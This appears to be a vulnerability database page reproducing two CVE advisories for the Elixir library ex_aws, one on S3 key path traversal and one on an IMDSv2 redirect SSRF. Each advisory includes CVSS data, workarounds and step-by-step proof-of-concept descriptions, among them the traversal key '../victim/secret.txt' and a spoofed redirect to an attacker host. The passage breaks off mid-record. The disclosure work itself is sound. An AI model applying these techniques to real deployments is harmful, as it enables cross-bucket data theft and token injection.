Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.
When ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application's own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.
Only the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials' permissions.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-23 - Relative Path Traversal
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59698.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59698 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/b1116f9f9… | patch |
Impacted products
Date Public
2026-11-24 11:45
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e build the request without this client-side normalization and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with `virtual_host: true` build the request without this client-side normalization and are not affected."
}
],
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with virtual_host: true build the request without this client-side normalization and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:45:29.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRelative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\u003c/p\u003e\n\u003cp\u003eWhen ex_aws builds a path-style S3 request, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e joins the bucket name and the object key into a single path string and then normalizes it, collapsing \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading \u003ccode\u003e../\u003c/code\u003e in the object key pops the bucket off the path. With bucket \u003ccode\u003emybucket\u003c/code\u003e and a key of \u003ccode\u003e../victim/secret.txt\u003c/code\u003e, the combined \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e normalizes to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, so the request (signed with the application\u0027s own credentials) is sent to bucket \u003ccode\u003evictim\u003c/code\u003e. The same mechanism collapses \u003ccode\u003e../\u003c/code\u003e within a key, defeating any isolation an application enforces by prepending a trusted prefix.\u003c/p\u003e\n\u003cp\u003eOnly the default path-style configuration is affected; requests built with \u003ccode\u003evirtual_host: true\u003c/code\u003e do not run this normalization. Because S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` joins the bucket name and the object key into a single path string and then normalizes it, collapsing `.` and `..` segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading `../` in the object key pops the bucket off the path. With bucket `mybucket` and a key of `../victim/secret.txt`, the combined `/mybucket/../victim/secret.txt` normalizes to `/victim/secret.txt`, so the request (signed with the application\u0027s own credentials) is sent to bucket `victim`. The same mechanism collapses `../` within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with `virtual_host: true` do not run this normalization. Because S3 treats object keys as opaque and does not resolve `..` itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application\u0027s own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-23",
"description": "CWE-23 Relative Path Traversal",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:45:30.199Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-hrw3-2h5r-fhxx"
},
{
"name": "EEF CNA record for CVE-2026-59698",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59698.html"
},
{
"name": "OSV record EEF-CVE-2026-59698",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59698"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit b1116f9 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eConfigure the ex_aws S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain \u003ccode\u003e..\u003c/code\u003e segments before passing them to ex_aws.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Configure the ex_aws S3 client with `virtual_host: true`, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain `..` segments before passing them to ex_aws."
}
],
"value": "Configure the ex_aws S3 client with virtual_host: true, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain .. segments before passing them to ex_aws."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application isolates data in its own bucket \u003ccode\u003emybucket\u003c/code\u003e and builds the object key from user input, using the default path-style S3 configuration.\u003c/li\u003e\n\u003cli\u003eIt issues the request through the public API: \u003ccode\u003eExAws.S3.get_object(\"mybucket\", key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the key \u003ccode\u003e../victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws joins and normalizes the path, so \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request is signed with the application\u0027s credentials and sent to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, addressing bucket \u003ccode\u003evictim\u003c/code\u003e instead of \u003ccode\u003emybucket\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application isolates data in its own bucket `mybucket` and builds the object key from user input, using the default path-style S3 configuration.\n2. It issues the request through the public API: `ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config)`.\n3. The attacker supplies the key `../victim/secret.txt`.\n4. ex_aws joins and normalizes the path, so `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`.\n5. The request is signed with the application\u0027s credentials and sent to `/victim/secret.txt`, addressing bucket `victim` instead of `mybucket`."
}
],
"value": "* An application isolates data in its own bucket mybucket and builds the object key from user input, using the default path-style S3 configuration.\n* It issues the request through the public API: ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config).\n* The attacker supplies the key ../victim/secret.txt.\n* ex_aws joins and normalizes the path, so /mybucket/../victim/secret.txt becomes /victim/secret.txt.\n* The request is signed with the application\u0027s credentials and sent to /victim/secret.txt, addressing bucket victim instead of mybucket."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Path assembly.\u003c/strong\u003e In the default path-style clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e (taken whenever \u003ccode\u003evirtual_host: true\u003c/code\u003e is not set), the bucket and the operation path are concatenated and then normalized: \u003ccode\u003e\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u0026gt; expand_dot()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Normalization across the bucket boundary.\u003c/strong\u003e \u003ccode\u003eexpand_dot/1\u003c/code\u003e and \u003ccode\u003edo_expand_dot/2\u003c/code\u003e resolve \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a \u003ccode\u003e..\u003c/code\u003e in the object key pops it: \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e. The only guard, the root clamp \u003ccode\u003edo_expand_dot([\"..\" | t], [])\u003c/code\u003e, stops \u003ccode\u003e..\u003c/code\u003e from climbing above \u003ccode\u003e/\u003c/code\u003e but does not protect the bucket segment. The same collapse lets \u003ccode\u003e../\u003c/code\u003e escape a trusted key prefix within a bucket.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request.\u003c/strong\u003e The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself; the traversal exists only because the client normalizes the path. The \u003ccode\u003evirtual_host\u003c/code\u003e clauses do not normalize, so behavior differs between configurations.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Path assembly.** In the default path-style clause of `ExAws.Operation.S3.add_bucket_to_path/2` (taken whenever `virtual_host: true` is not set), the bucket and the operation path are concatenated and then normalized: `\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot()`.\n\n**2. Normalization across the bucket boundary.** `expand_dot/1` and `do_expand_dot/2` resolve `.` and `..` segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a `..` in the object key pops it: `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`. The only guard, the root clamp `do_expand_dot([\"..\" | t], [])`, stops `..` from climbing above `/` but does not protect the bucket segment. The same collapse lets `../` escape a trusted key prefix within a bucket.\n\n**3. Signed request.** The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve `..` itself; the traversal exists only because the client normalizes the path. The `virtual_host` clauses do not normalize, so behavior differs between configurations."
}
],
"value": "1. Path assembly. In the default path-style clause of ExAws.Operation.S3.add_bucket_to_path/2 (taken whenever virtual_host: true is not set), the bucket and the operation path are concatenated and then normalized: \"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot().\n\n2. Normalization across the bucket boundary. expand_dot/1 and do_expand_dot/2 resolve . and .. segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a .. in the object key pops it: /mybucket/../victim/secret.txt becomes /victim/secret.txt. The only guard, the root clamp do_expand_dot([\"..\" | t], []), stops .. from climbing above / but does not protect the bucket segment. The same collapse lets ../ escape a trusted key prefix within a bucket.\n\n3. Signed request. The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve .. itself; the traversal exists only because the client normalizes the path. The virtual_host clauses do not normalize, so behavior differs between configurations."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59698",
"datePublished": "2026-11-24T11:45:30.199Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:45:30.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59697 (GCVE-0-2026-59697)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:43 – Updated: 2026-11-24 11:43
VLAI
EPSS
VEX
Title
IMDSv2 metadata token request follows HTTP redirects in ex_aws
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).
This vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.
ex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host's response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.
This issue affects ex_aws: from 2.3.0 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59697.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59697 | related |
| https://github.com/ex-aws/ex_aws/commit/4d7923c16… | related |
| https://github.com/ex-aws/ex_aws/commit/9fcc3605c… | patch |
Impacted products
Date Public
2026-11-24 11:43
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "9fcc3605c7a0ecf8e205a72c50de3ced72befed0",
"status": "affected",
"version": "4d7923c16f613cc2bade2ed325d444bba0bc7234",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:43:15.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/instance_meta_token_provider.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e and \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws requests its IMDSv2 session token from the link-local metadata endpoint (\u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every subsequent metadata and credential request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.3.0 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files `lib/ex_aws/instance_meta_token_provider.ex` and program routines `ExAws.InstanceMetaTokenProvider.request_token/1` and `ExAws.InstanceMetaTokenProvider.get/1`.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (`http://169.254.169.254/latest/api/token`) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the `x-aws-ec2-metadata-token` header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-664 Server Side Request Forgery"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "ADJACENT",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:43:17.078Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-mww9-g5mj-j664"
},
{
"name": "EEF CNA record for CVE-2026-59697",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59697.html"
},
{
"name": "OSV record EEF-CVE-2026-59697",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59697"
},
{
"name": "Introducing commit 4d7923c in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/4d7923c16f613cc2bade2ed325d444bba0bc7234"
},
{
"name": "Fix commit 9fcc360 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/9fcc3605c7a0ecf8e205a72c50de3ced72befed0"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "IMDSv2 metadata token request follows HTTP redirects in ex_aws",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eThe attacker is positioned to answer requests the instance sends to \u003ccode\u003e169.254.169.254\u003c/code\u003e, for example as an on-segment neighbor spoofing the link-local address.\u003c/li\u003e\n\u003cli\u003eThe application obtains a metadata token through \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e, which calls \u003ccode\u003erequest_token/1\u003c/code\u003e and sends \u003ccode\u003ePUT /latest/api/token\u003c/code\u003e to the link-local endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker answers the \u003ccode\u003ePUT\u003c/code\u003e with \u003ccode\u003e302\u003c/code\u003e and a \u003ccode\u003eLocation\u003c/code\u003e header pointing at a host they control.\u003c/li\u003e\n\u003cli\u003eThe HTTP client follows the redirect because ex_aws passed \u003ccode\u003efollow_redirect: true\u003c/code\u003e, and the attacker\u0027s host replies \u003ccode\u003e200\u003c/code\u003e with a chosen body such as \u003ccode\u003eATTACKER-CONTROLLED-SESSION-TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eget/1\u003c/code\u003e returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e on later metadata and credential requests.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. The attacker is positioned to answer requests the instance sends to `169.254.169.254`, for example as an on-segment neighbor spoofing the link-local address.\n2. The application obtains a metadata token through `ExAws.InstanceMetaTokenProvider.get/1`, which calls `request_token/1` and sends `PUT /latest/api/token` to the link-local endpoint.\n3. The attacker answers the `PUT` with `302` and a `Location` header pointing at a host they control.\n4. The HTTP client follows the redirect because ex_aws passed `follow_redirect: true`, and the attacker\u0027s host replies `200` with a chosen body such as `ATTACKER-CONTROLLED-SESSION-TOKEN`.\n5. `get/1` returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as `x-aws-ec2-metadata-token` on later metadata and credential requests."
}
],
